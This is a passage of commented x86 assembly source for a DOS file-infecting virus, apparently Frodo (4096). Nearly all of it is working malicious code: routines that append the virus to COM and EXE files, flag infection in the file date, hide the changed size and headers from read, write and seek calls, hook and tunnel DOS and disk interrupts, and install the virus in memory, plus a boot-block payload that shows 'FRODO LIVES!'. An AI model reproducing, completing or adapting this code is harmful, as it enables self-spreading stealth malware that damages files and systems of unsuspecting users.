mov ds:initialSS,ax ; put entry segment in for SS
|
||
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
|
||
call finish_infection
|
||
go_exit_infect_file:
|
||
jmp short exit_infect_file
|
||
try_infect_com:
|
||
cmp si,0F00h ; make sure file is under
|
||
jae exit_infect_file ; F00h paragraphs or else
|
||
; it will be too large once it
|
||
; is infected
|
||
mov ax,ds:readbuffer ; first save first 6 bytes
|
||
mov word ptr ds:oldheader,ax
|
||
add dx,ax
|
||
mov ax,ds:readbuffer+2
|
||
mov word ptr ds:oldheader+2,ax
|
||
add dx,ax
|
||
mov ax,ds:readbuffer+4
|
||
mov word ptr ds:oldheader+4,ax
|
||
add dx,ax ; exit if checksum = 0
|
||
jz exit_infect_file ; since then it is already
|
||
; infected
|
||
mov cl,0E9h ; encode jmp instruction
|
||
mov byte ptr ds:readbuffer,cl
|
||
mov ax,10h ; find file size
|
||
mul si
|
||
add ax,offset entervirus-3 ; calculate offset of jmp
|
||
mov word ptr ds:readbuffer+1,ax ; encode it
|
||
mov ax,ds:readbuffer ; checksum it to 0
|
||
add ax,ds:readbuffer+2
|
||
neg ax
|
||
mov ds:readbuffer+4,ax
|
||
call finish_infection
|
||
exit_infect_file:
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
call restoreint13and24
|
||
retn
|
||
|
||
|
||
findnextparagraphboundary:
|
||
push cs
|
||
pop ds
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
mov ds:filetime,cx
|
||
mov ds:filedate,dx
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,3Fh ; Read first 1Ch bytes
|
||
mov cl,1Ch
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,3Fh ; Read first 1Ch bytes
|
||
mov cl,1Ch
|
||
mov dx,offset oldheader
|
||
call callint21
|
||
mov ax,4202h ; Go to end of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ds:filesizelow,ax ; save filesize
|
||
mov ds:filesizehigh,dx
|
||
mov di,ax
|
||
add ax,0Fh ; round to nearest paragraph
|
||
adc dx,0 ; boundary
|
||
and ax,0FFF0h
|
||
sub di,ax ; di=# bytes to next paragraph
|
||
mov cx,10h ; normalize filesize
|
||
div cx ; to paragraphs
|
||
mov si,ax ; si = result
|
||
retn
|
||
|
||
|
||
finish_infection:
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,40h ; Write new header to file
|
||
mov cl,1Ch
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
mov ax,10h ; convert paragraph boundary
|
||
mul si ; to a byte value
|
||
mov cx,dx
|
||
mov dx,ax
|
||
mov ax,4200h ; go to first paragraph
|
||
call callint21 ; boundary at end of file
|
||
xor dx,dx
|
||
mov cx,1000h
|
||
add cx,di
|
||
mov ah,40h ; Concatenate virus to file
|
||
call callint21
|
||
mov ax,5701h ; Restore file time/date
|
||
mov cx,ds:filetime
|
||
mov dx,ds:filedate
|
||
test dh,80h ; check for infection bit
|
||
jnz highbitset
|
||
add dh,0C8h ; alter if not set yet
|
||
highbitset:
|
||
call callint21
|
||
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
|
||
jb exit_finish_infection ; do not hide the alteration
|
||
; in cluster count
|
||
cmp byte ptr ds:hideclustercountchange,0
|
||
je exit_finish_infection
|
||
push bx
|
||
mov dl,ds:filedrive
|
||
mov ah,32h ; Get drive parameter block
|
||
call callint21 ; for drive dl
|
||
mov ax,cs:numfreeclusters
|
||
mov [bx+1Eh],ax ; alter free cluster count
|
||
pop bx
|
||
exit_finish_infection:
|
||
retn
|
||
|
||
|
||
checkFCBokinfect:
|
||
call saveregs
|
||
mov di,dx
|
||
add di,0Dh ; skip to extension
|
||
push ds
|
||
pop es
|
||
jmp short performchecksum ; and check checksum for valid
|
||
; checksum
|
||
|
||
checkdsdxokinfect:
|
||
call saveregs
|
||
push ds
|
||
pop es
|
||
mov di,dx
|
||
mov cx,50h ; max filespec length
|
||
xor ax,ax
|
||
mov bl,0 ; default drive
|
||
cmp byte ptr [di+1],':' ; Is there a drive spec?
|
||
jne ondefaultdrive ; nope, skip it
|
||
mov bl,[di] ; yup, get drive
|
||
and bl,1Fh ; and convert to number
|
||
ondefaultdrive:
|
||
mov cs:filedrive,bl
|
||
repne scasb ; find terminating 0 byte
|
||
performchecksum:
|
||
mov ax,[di-3]
|
||
and ax,0DFDFh ; convert to uppercase
|
||
add ah,al
|
||
mov al,[di-4]
|
||
and al,0DFh ; convert to uppercase
|
||
add al,ah
|
||
mov byte ptr cs:EXEflag,0 ; assume COM file
|
||
cmp al,0DFh ; COM checksum?
|
||
je COMchecksum
|
||
inc byte ptr cs:EXEflag ; assume EXE file
|
||
cmp al,0E2h ; EXE checksum?
|
||
jne otherchecksum
|
||
COMchecksum:
|
||
call restoreregs
|
||
clc ; mark no error
|
||
retn
|
||
otherchecksum:
|
||
call restoreregs
|
||
stc ; mark error
|
||
retn
|
||
|
||
|
||
getcurrentPSP:
|
||
push bx
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
mov cs:currentPSP,bx ; store it
|
||
pop bx
|
||
retn
|
||
|
||
|
||
setup_infection:
|
||
call replaceint13and24
|
||
push dx
|
||
mov dl,cs:filedrive
|
||
mov ah,36h ; Get disk free space
|
||
call callint21
|
||
mul cx ; ax = bytes per cluster
|
||
mul bx ; dx:ax = bytes free space
|
||
mov bx,dx
|
||
pop dx
|
||
or bx,bx ; less than 65536 bytes free?
|
||
jnz enough_free_space ; hopefully not
|
||
cmp ax,4000h ; exit if less than 16384
|
||
jb exit_setup_infection ; bytes free
|
||
enough_free_space:
|
||
mov ax,4300h ; Get file attributes
|
||
call callint21
|
||
jc exit_setup_infection ; exit on error
|
||
mov di,cx ; di = attributes
|
||
xor cx,cx
|
||
mov ax,4301h ; Clear file attributes
|
||
call callint21
|
||
cmp byte ptr cs:errorflag,0 ; check for errors
|
||
jne exit_setup_infection
|
||
mov ax,3D02h ; Open file read/write
|
||
call callint21
|
||
jc exit_setup_infection ; exit on error
|
||
mov bx,ax ; move handle to bx
|
||
; xchg bx,ax is superior
|
||
mov cx,di
|
||
mov ax,4301h ; Restore file attributes
|
||
call callint21
|
||
push bx
|
||
mov dl,cs:filedrive ; Get file's drive number
|
||
mov ah,32h ; Get drive parameter block
|
||
call callint21 ; for disk dl
|
||
mov ax,[bx+1Eh] ; Get free cluster count
|
||
mov cs:numfreeclusters,ax ; and save it
|
||
pop bx ; return handle
|
||
call restoreint13and24
|
||
retn
|
||
exit_setup_infection:
|
||
xor bx,bx
|
||
dec bx ; return bx=-1 on error
|
||
call restoreint13and24
|
||
retn
|
||
|
||
|
||
checkforinfection:
|
||
push cx
|
||
push dx
|
||
push ax
|
||
mov ax,4400h ; Get device information
|
||
call callint21 ; (set hide_size = 2)
|
||
xor dl,80h
|
||
test dl,80h ; Character device? If so,
|
||
jz exit_checkforinfection ; exit; cannot be infected
|
||
mov ax,5700h ; Otherwise get time/date
|
||
call callint21
|
||
test dh,80h ; Check year bit for infection
|
||
exit_checkforinfection:
|
||
pop ax
|
||
pop dx
|
||
pop cx
|
||
retn
|
||
|
||
obtainfilesize:
|
||
call saveregs
|
||
mov ax,4201h ; Get current file position
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21
|
||
mov cs:curfileposlow,ax
|
||
mov cs:curfileposhigh,dx
|
||
mov ax,4202h ; Go to end of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21
|
||
mov cs:filesizelow,ax
|
||
mov cs:filesizehigh,dx
|
||
mov ax,4200h ; Return to file position
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
call callint21
|
||
call restoreregs
|
||
retn
|
||
|
||
getsetfiletimedate:
|
||
or al,al ; Get time/date?
|
||
jnz checkifsettimedate ; if not, see if Set time/date
|
||
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
||
call _popall
|
||
call callint21
|
||
jc gettimedate_error ; exit on error
|
||
test dh,80h ; check year bit if infected
|
||
jz gettimedate_notinfected
|
||
sub dh,0C8h ; if so, hide change
|
||
gettimedate_notinfected:
|
||
jmp exitint21
|
||
gettimedate_error:
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
jmp exitint21
|
||
checkifsettimedate:
|
||
cmp al,1 ; Set time/date?
|
||
jne exit_filetimedate_pointer
|
||
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
||
test dh,80h ; Infection bit set?
|
||
jz set_yearbitset
|
||
sub dh,0C8h ; clear infection bit
|
||
set_yearbitset:
|
||
call checkforinfection
|
||
jz set_datetime_nofinagle
|
||
add dh,0C8h ; set infection flag
|
||
set_datetime_nofinagle:
|
||
call callint21
|
||
mov [bp-4],ax
|
||
adc word ptr cs:int21flags,0; turn on/off trap flag
|
||
jmp _popall_then_exitint21 ; depending on result
|
||
|
||
handlemovefilepointer:
|
||
cmp al,2
|
||
jne exit_filetimedate_pointer
|
||
call checkforinfection
|
||
jz exit_filetimedate_pointer
|
||
sub word ptr [bp-0Ah],1000h ; hide file size
|
||
sbb word ptr [bp-8],0
|
||
exit_filetimedate_pointer:
|
||
jmp exitotherint21
|
||
|
||
handleread:
|
||
and byte ptr cs:int21flags,0FEh ; clear trap flag
|
||
call checkforinfection ; exit if it is not
|
||
jz exit_filetimedate_pointer ; infected -- no need
|
||
; to do stealthy stuff
|
||
mov cs:savelength,cx
|
||
mov cs:savebuffer,dx
|
||
mov word ptr cs:return_code,0
|
||
call obtainfilesize
|
||
mov ax,cs:filesizelow ; store the file size
|
||
mov dx,cs:filesizehigh
|
||
sub ax,1000h ; get uninfected file size
|
||
sbb dx,0
|
||
sub ax,cs:curfileposlow ; check if currently in
|
||
sbb dx,cs:curfileposhigh ; virus code
|
||
jns not_in_virus_body ; continue if not
|
||
mov word ptr [bp-4],0 ; set return code = 0
|
||
jmp handleopenclose_exit
|
||
not_in_virus_body:
|
||
jnz not_reading_header
|
||
cmp ax,cx ; reading from header?
|
||
ja not_reading_header
|
||
mov cs:savelength,ax ; # bytes into header
|
||
not_reading_header:
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
or cx,cx ; if reading > 64K into file,
|
||
jnz finish_reading ; then no problems
|
||
cmp dx,1Ch ; if reading from header, then
|
||
jbe reading_from_header ; do stealthy stuff
|
||
finish_reading:
|
||
mov dx,cs:savebuffer
|
||
mov cx,cs:savelength
|
||
mov ah,3Fh ; read file
|
||
call callint21
|
||
add ax,cs:return_code ; ax = bytes read
|
||
mov [bp-4],ax ; set return code properly
|
||
jmp _popall_then_exitint21
|
||
reading_from_header:
|
||
mov si,dx
|
||
mov di,dx
|
||
add di,cs:savelength
|
||
cmp di,1Ch ; reading all of header?
|
||
jb read_part_of_header ; nope, calculate how much
|
||
xor di,di
|
||
jmp short do_read_from_header
|
||
read_part_of_header:
|
||
sub di,1Ch
|
||
neg di
|
||
do_read_from_header:
|
||
mov ax,dx
|
||
mov cx,cs:filesizehigh ; calculate location in
|
||
mov dx,cs:filesizelow ; the file of the virus
|
||
add dx,0Fh ; storage area for the
|
||
adc cx,0 ; original 1Ch bytes of
|
||
and dx,0FFF0h ; the file
|
||
sub dx,0FFCh
|
||
sbb cx,0
|
||
add dx,ax
|
||
adc cx,0
|
||
mov ax,4200h ; go to that location
|
||
call callint21
|
||
mov cx,1Ch
|
||
sub cx,di
|
||
sub cx,si
|
||
mov ah,3Fh ; read the original header
|
||
mov dx,cs:savebuffer
|
||
call callint21
|
||
add cs:savebuffer,ax
|
||
sub cs:savelength,ax
|
||
add cs:return_code,ax
|
||
xor cx,cx ; go past the virus's header
|
||
mov dx,1Ch
|
||
mov ax,4200h
|
||
call callint21
|
||
jmp finish_reading ; and continue the reading
|
||
|
||
handlewrite:
|
||
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
||
call checkforinfection
|
||
jnz continue_handlewrite
|
||
jmp exit_filetimedate_pointer
|
||
continue_handlewrite:
|
||
mov cs:savelength,cx
|
||
mov cs:savebuffer,dx
|
||
mov word ptr cs:return_code,0
|
||
call obtainfilesize
|
||
mov ax,cs:filesizelow
|
||
mov dx,cs:filesizehigh
|
||
sub ax,1000h ; calculate original file
|
||
sbb dx,0 ; size
|
||
sub ax,cs:curfileposlow ; writing from inside the
|
||
sbb dx,cs:curfileposhigh ; virus?
|
||
js finish_write ; if not, we can continue
|
||
jmp short write_inside_virus; otherwise, fixup some stuff
|
||
finish_write:
|
||
call replaceint13and24
|
||
push cs
|
||
pop ds
|
||
mov dx,ds:filesizelow ; calculate location in file
|
||
mov cx,ds:filesizehigh ; of the virus storage of the
|
||
add dx,0Fh ; original 1Ch bytes of the
|
||
adc cx,0 ; file
|
||
and dx,0FFF0h
|
||
sub dx,0FFCh
|
||
sbb cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
mov dx,offset oldheader
|
||
mov cx,1Ch
|
||
mov ah,3Fh ; read original header
|
||
call callint21
|
||
mov ax,4200h ; go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov dx,offset oldheader
|
||
mov cx,1Ch
|
||
mov ah,40h ; write original header to
|
||
call callint21 ; the file
|
||
mov dx,0F000h ; go back 4096 bytes
|
||
mov cx,0FFFFh ; from the end of the
|
||
mov ax,4202h ; file and
|
||
call callint21
|
||
mov ah,40h ; truncate the file
|
||
xor cx,cx ; at that position
|
||
call callint21
|
||
mov dx,ds:curfileposlow ; Go to current file position
|
||
mov cx,ds:curfileposhigh
|
||
mov ax,4200h
|
||
call callint21
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
test dh,80h
|
||
jz high_bit_aint_set
|
||
sub dh,0C8h ; restore file date
|
||
mov ax,5701h ; put it onto the disk
|
||
call callint21
|
||
high_bit_aint_set:
|
||
call restoreint13and24
|
||
jmp exitotherint21
|
||
write_inside_virus:
|
||
jnz write_inside_header ; write from start of file?
|
||
cmp ax,cx
|
||
ja write_inside_header ; write from inside header?
|
||
jmp finish_write
|
||
|
||
write_inside_header:
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
or cx,cx ; Reading over 64K?
|
||
jnz writemorethan1Chbytes
|
||
cmp dx,1Ch ; Reading over 1Ch bytes?
|
||
ja writemorethan1Chbytes
|
||
jmp finish_write
|
||
writemorethan1Chbytes:
|
||
call _popall
|
||
call callint21 ; chain to int 21h
|
||
; (allow write to take place)
|
||
call _pushall
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
test dh,80h
|
||
jnz _popall_then_exitint21_
|
||
add dh,0C8h
|
||
mov ax,5701h ; restore file date
|
||
call callint21
|
||
_popall_then_exitint21_:
|
||
jmp _popall_then_exitint21
|
||
|
||
jmp exitotherint21
|
||
|
||
int13:
|
||
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
|
||
pop word ptr cs:int13tempCSIP+2 ; the stack
|
||
pop word ptr cs:int13flags
|
||
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
|
||
cmp byte ptr cs:errorflag,0 ; any errors yet?
|
||
jne exitint13error ; yes, already an error
|
||
push word ptr cs:int13flags
|
||
call dword ptr cs:origints
|
||
jnc exitint13
|
||
inc byte ptr cs:errorflag ; mark error
|
||
exitint13error:
|
||
stc ; mark error
|
||
exitint13:
|
||
jmp dword ptr cs:int13tempCSIP ; return to caller
|
||
|
||
int24:
|
||
xor al,al ; ignore error
|
||
mov byte ptr cs:errorflag,1 ; mark error
|
||
iret
|
||
|
||
replaceint13and24:
|
||
mov byte ptr cs:errorflag,0 ; clear errors
|
||
call saveregs
|
||
push cs
|
||
pop ds
|
||
mov al,13h ; save int 13 handler
|
||
call getint
|
||
mov word ptr ds:origints,bx
|
||
mov word ptr ds:origints+2,es
|
||
mov word ptr ds:oldint13,bx
|
||
mov word ptr ds:oldint13+2,es
|
||
mov dl,0
|
||
mov al,0Dh ; fixed disk interrupt
|
||
call getint
|
||
mov ax,es
|
||
cmp ax,0C000h ; is there a hard disk?
|
||
jae harddiskpresent ; C000+ is in BIOS
|
||
mov dl,2
|
||
harddiskpresent:
|
||
mov al,0Eh ; floppy disk interrupt
|
||
call getint
|
||
mov ax,es
|
||
cmp ax,0C000h ; check if floppy
|
||
jae floppypresent
|
||
mov dl,2
|
||
floppypresent:
|
||
mov ds:tracemode,dl
|
||
call replaceint1
|
||
mov ds:savess,ss ; save stack
|
||
mov ds:savesp,sp
|
||
push cs ; save these on stack for
|
||
mov ax,offset setvirusints ; return to setvirusints
|
||
push ax
|
||
mov ax,70h
|
||
mov es,ax
|
||
mov cx,0FFFFh
|
||
mov al,0CBh ; retf
|
||
xor di,di
|
||
repne scasb ;scan es:di for retf statement
|
||
dec di ; es:di->retf statement
|
||
pushf
|
||
push es ; set up stack for iret to
|
||
push di ; the retf statement which
|
||
; will cause transfer of
|
||
; control to setvirusints
|
||
pushf
|
||
pop ax
|
||
or ah,1 ; turn on the trap flag
|
||
push ax
|
||
in al,21h ; save IMR in temporary
|
||
mov ds:saveIMR,al ; buffer and then
|
||
mov al,0FFh ; disable all the
|
||
out 21h,al ; interrupts
|
||
popf
|
||
xor ax,ax ; reset disk
|
||
jmp dword ptr ds:origints ; (int 13h call)
|
||
; then transfer control to
|
||
setvirusints: ; setvirusints
|
||
lds dx,dword ptr ds:oldint1
|
||
mov al,1 ; restore old int 1 handler
|
||
call setvect
|
||
push cs
|
||
pop ds
|
||
mov dx,offset int13 ; replace old int 13h handler
|
||
mov al,13h ; with virus's
|
||
call setvect
|
||
mov al,24h ; Get old critical error
|
||
call getint ; handler and save its
|
||
mov word ptr ds:oldint24,bx ; location
|
||
mov word ptr ds:oldint24+2,es
|
||
mov dx,offset int24
|
||
mov al,24h ; Replace int 24 handler
|
||
call setvect ; with virus's handler
|
||
call restoreregs
|
||
retn
|
||
|
||
|
||
restoreint13and24:
|
||
call saveregs
|
||
lds dx,dword ptr cs:oldint13
|
||
mov al,13h
|
||
call setvect
|
||
lds dx,dword ptr cs:oldint24
|
||
mov al,24h
|
||
call setvect
|
||
call restoreregs
|
||
retn
|
||
|
||
|
||
disableBREAK:
|
||
mov ax,3300h ; Get current BREAK setting
|
||
call callint21
|
||
mov cs:BREAKsave,dl
|
||
mov ax,3301h ; Turn BREAK off
|
||
xor dl,dl
|
||
call callint21
|
||
retn
|
||
|
||
|
||
restoreBREAK:
|
||
mov dl,cs:BREAKsave
|
||
mov ax,3301h ; restore BREAK setting
|
||
call callint21
|
||
retn
|
||
|
||
|
||
_pushall:
|
||
pop word ptr cs:pushpopalltempstore
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
jmp word ptr cs:pushpopalltempstore
|
||
|
||
swapvirint21:
|
||
les di,dword ptr cs:oldint21; delve into original int
|
||
mov si,offset jmpfarptr ; handler and swap the first
|
||
push cs ; 5 bytes. This toggles it
|
||
pop ds ; between a jmp to the virus
|
||
cld ; code and the original 5
|
||
mov cx,5 ; bytes of the int handler
|
||
swapvirint21loop: ; this is a tunnelling method
|
||
lodsb ; if I ever saw one
|
||
xchg al,es:[di] ; puts the bytes in DOS's
|
||
mov [si-1],al ; int 21h handler
|
||
inc di
|
||
loop swapvirint21loop
|
||
|
||
retn
|
||
|
||
|
||
_popall:
|
||
pop word ptr cs:pushpopalltempstore
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp word ptr cs:pushpopalltempstore
|
||
|
||
restoreregs:
|
||
mov word ptr cs:storecall,offset _popall
|
||
jmp short do_saverestoreregs
|
||
|
||
saveregs:
|
||
mov word ptr cs:storecall,offset _pushall
|
||
do_saverestoreregs:
|
||
mov cs:storess,ss ; save stack
|
||
mov cs:storesp,sp
|
||
push cs
|
||
pop ss
|
||
mov sp,cs:stackptr ; set new stack
|
||
call word ptr cs:storecall
|
||
mov cs:stackptr,sp ; update internal stack ptr
|
||
mov ss,cs:storess ; and restore stack to
|
||
mov sp,cs:storesp ; caller program's stack
|
||
retn
|
||
|
||
|
||
replaceint1:
|
||
mov al,1 ; get the old interrupt
|
||
call getint ; 1 handler and save it
|
||
mov word ptr cs:oldint1,bx ; for later restoration
|
||
mov word ptr cs:oldint1+2,es
|
||
push cs
|
||
pop ds
|
||
mov dx,offset int1 ; set int 1 handler to
|
||
call setvect ; the virus int handler
|
||
retn
|
||
|
||
allocatememory:
|
||
call allocate_memory
|
||
jmp exitotherint21
|
||
|
||
allocate_memory:
|
||
cmp byte ptr cs:checkres,0 ; installed check
|
||
je exitallocate_memory ; exit if installed
|
||
cmp bx,0FFFFh ; finding total memory?
|
||
jne exitallocate_memory ; (virus trying to install?)
|
||
mov bx,160h ; allocate memory to virus
|
||
call callint21
|
||
jc exitallocate_memory ; exit on error
|
||
mov dx,cs
|
||
cmp ax,dx
|
||
jb continue_allocate_memory
|
||
mov es,ax
|
||
mov ah,49h ; Free memory
|
||
call callint21
|
||
jmp short exitallocate_memory
|
||
continue_allocate_memory:
|
||
dec dx ; get segment of MCB
|
||
mov ds,dx
|
||
mov word ptr ds:[1],0 ; mark unused MCB
|
||
inc dx ; go to memory area
|
||
mov ds,dx
|
||
mov es,ax
|
||
push ax
|
||
mov word ptr cs:int21store+2,ax ; fixup segment
|
||
xor si,si
|
||
mov di,si
|
||
mov cx,0B00h
|
||
rep movsw ; copy virus up there
|
||
dec ax ; go to MCB
|
||
mov es,ax
|
||
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
|
||
mov es:[1],ax ; make vir ID = DOS PSP ID
|
||
mov ax,offset exitallocate_memory
|
||
push ax
|
||
retf
|
||
|
||
exitallocate_memory:
|
||
retn
|
||
|
||
get_device_info:
|
||
mov byte ptr cs:hide_size,2
|
||
jmp exitotherint21
|
||
|
||
callint21: ; call original int 21h handler (tunnelled)
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
retn
|
||
|
||
bootblock:
|
||
cli
|
||
xor ax,ax ; set new stack just below
|
||
mov ss,ax ; start of load area for
|
||
mov sp,7C00h ; boot block
|
||
jmp short enter_bootblock
|
||
borderchars db '<27><><EFBFBD> '
|
||
|
||
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
|
||
db 11111001b,11100000b,11100011b,11000011b,10000000b
|
||
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
||
db 11110001b,11110001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00100001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00010000b,11100011b,11000011b,10000000b
|
||
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
||
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
||
db 10000010b,01000100b,11111000b,01110000b,11000000b
|
||
db 10000010b,01000100b,10000000b,10001000b,11000000b
|
||
db 10000010b,01000100b,10000000b,10000000b,11000000b
|
||
db 10000010b,01000100b,11110000b,01110000b,11000000b
|
||
db 10000010b,00101000b,10000000b,00001000b,11000000b
|
||
db 10000010b,00101000b,10000000b,10001000b,00000000b
|
||
db 11110010b,00010000b,11111000b,01110000b,11000000b
|
||
enter_bootblock:
|
||
push cs
|
||
pop ds
|
||
mov dx,0B000h ; get video page in bh
|
||
mov ah,0Fh ; get video mode in al
|
||
int 10h ; get columns in ah
|
||
|
||
cmp al,7 ; check if colour
|
||
je monochrome
|
||
mov dx,0B800h ; colour segment
|
||
monochrome:
|
||
mov es,dx ; es->video segment
|
||
cld
|
||
xor di,di
|
||
mov cx,25*80 ; entire screen
|
||
mov ax,720h ; ' ', normal attribute
|
||
rep stosw ; clear the screen
|
||
mov si,7C00h+FRODO_LIVES-bootblock
|
||
mov bx,2AEh
|
||
morelinestodisplay:
|
||
mov bp,5
|
||
mov di,bx
|
||
displaymorebackgroundontheline:
|
||
lodsb ; get background pattern
|
||
mov dh,al
|
||
mov cx,8
|
||
|
||
displayinitialbackground:
|
||
mov ax,720h
|
||
shl dx,1
|
||
jnc spacechar
|
||
mov al,'<27>'
|
||
spacechar:
|
||
stosw
|
||
loop displayinitialbackground
|
||
|
||
dec bp
|
||
jnz displaymorebackgroundontheline
|
||
add bx,80*2 ; go to next line
|
||
cmp si,7C00h+enter_bootblock-bootblock
|
||
jb morelinestodisplay
|
||
mov ah,1 ; set cursor mode to cx
|
||
int 10h
|
||
|
||
mov al,8 ; set new int 8 handler
|
||
mov dx,7C00h+int8-bootblock ; to spin border
|
||
call setvect
|
||
mov ax,7FEh ; enable timer interrupts only
|
||
out 21h,al
|
||
|
||
sti
|
||
xor bx,bx
|
||
mov cx,1
|
||
jmp short $ ; loop forever while
|
||
; spinning the border
|
||
|
||
int8: ; the timer interrupt spins
|
||
dec cx ; the border
|
||
jnz endint8
|
||
xor di,di
|
||
inc bx
|
||
call spin_border
|
||
call spin_border
|
||
mov cl,4 ; wait 4 more ticks until
|
||
endint8: ; next update
|
||
mov al,20h ; Signal end of interrupt
|
||
out 20h,al
|
||
iret
|
||
|
||
spin_border:
|
||
mov cx,28h ; do 40 characters across
|
||
|
||
dohorizontal:
|
||
call lookup_border_char
|
||
stosw
|
||
stosw
|
||
loop dohorizontal
|
||
patch2:
|
||
add di,9Eh ; go to next line
|
||
mov cx,17h ; do for next 23 lines
|
||
|
||
dovertical: ; handle vertical borders
|
||
call lookup_border_char ; get border character
|
||
stosw ; print it on screen
|
||
patch3:
|
||
add di,9Eh ; go to next line
|
||
loop dovertical
|
||
patch1:
|
||
std
|
||
; this code handles the other half of the border
|
||
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
|
||
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
|
||
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
|
||
retn
|
||
|
||
|
||
lookup_border_char:
|
||
and bx,3 ; find corresponding border
|
||
mov al,ds:[bx+7C00h+borderchars-bootblock]
|
||
inc bx ; character
|
||
retn
|
||
|
||
|
||
setvect:
|
||
push es
|
||
push bx
|
||
xor bx,bx
|
||
mov es,bx
|
||
mov bl,al ; int # to bx
|
||
shl bx,1 ; int # * 4 = offset in
|
||
shl bx,1 ; interrupt table
|
||
mov es:[bx],dx ; set the vector in the
|
||
mov es:[bx+2],ds ; interrupt table
|
||
pop bx
|
||
pop es
|
||
retn
|
||
|
||
|
||
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
|
||
call replaceint13and24
|
||
mov dl,80h
|
||
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
|
||
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
|
||
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
|
||
db 03h, 6Ch, 15h, 03h, 00h, 26h
|
||
db 00h, 00h, 00h, 21h, 00h, 50h
|
||
db 12h, 65h, 14h, 82h, 08h, 00h
|
||
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
|
||
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
|
||
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
|
||
db 00h,0E2h, 0Ch, 50h
|
||
|
||
org 1200h
|
||
readbuffer dw ? ; beginning of the read buffer
|
||
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
|
||
lengthinpages dw ? ; EXE header item - length of image in pages
|
||
relocationitems dw ? ; EXE header item - # relocation items
|
||
headersize dw ? ; EXE header item - header size in paragraphs
|
||
minmemory dw ? ; EXE header item - minimum memory allocation
|
||
maxmemory dw ? ; EXE header item - maximum memory allocation
|
||
initialSS dw ? ; EXE header item - initial SS value
|
||
initialSP dw ? ; EXE header item - initial SP value
|
||
wordchecksum dw ? ; EXE header item - checksum value
|
||
initialIP dw ? ; EXE header item - initial IP value
|
||
initialCS dw ? ; EXE header item - initial CS value
|
||
db 12 dup (?) ; rest of header - unused
|
||
parmblock dd ? ; address of parameter block
|
||
filedrive db ? ; 0 = default drive
|
||
filetime dw ? ; saved file time
|
||
filedate dw ? ; saved file date
|
||
origints dd ? ; temporary scratch buffer for interrupt vectors
|
||
oldint1 dd ? ; original interrupt 1 vector
|
||
oldint21 dd ? ; original interrupt 21h vector
|
||
oldint13 dd ? ; original interrupt 13h vector
|
||
oldint24 dd ? ; original interrupt 24h vector
|
||
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
|
||
carrierPSP dw ? ; carrier file PSP segment
|
||
DOSsegment dw ? ; segment of DOS list of lists
|
||
ownerfirstMCB dw ? ; owner of the first MCB
|
||
jmpfarptr db ? ; 0eah, jmp far ptr
|
||
int21store dd ? ; temporary storage for other 4 bytes
|
||
; and for pointer to virus int 21h
|
||
tracemode db ? ; trace mode
|
||
instructionstotrace db ? ; number of instructions to trace
|
||
handletable dw 28h dup (?) ; array of handles
|
||
handlesleft db ? ; entries left in table
|
||
currentPSP dw ? ; storage for the current PSP segment
|
||
curfileposlow dw ? ; current file pointer location, low word
|
||
curfileposhigh dw ? ; current file pointer location, high word
|
||
filesizelow dw ? ; current file size, low word
|
||
filesizehigh dw ? ; current file size, high word
|
||
savebuffer dw ? ; storage for handle read, etc.
|
||
savelength dw ? ; functions
|
||
return_code dw ? ; returned in AX on exit of int 21h
|
||
int21flags dw ? ; storage of int 21h return flags register
|
||
tempFCB db 25h dup (?) ; copy of the FCB
|
||
errorflag db ? ; 0 if no error, 1 if error
|
||
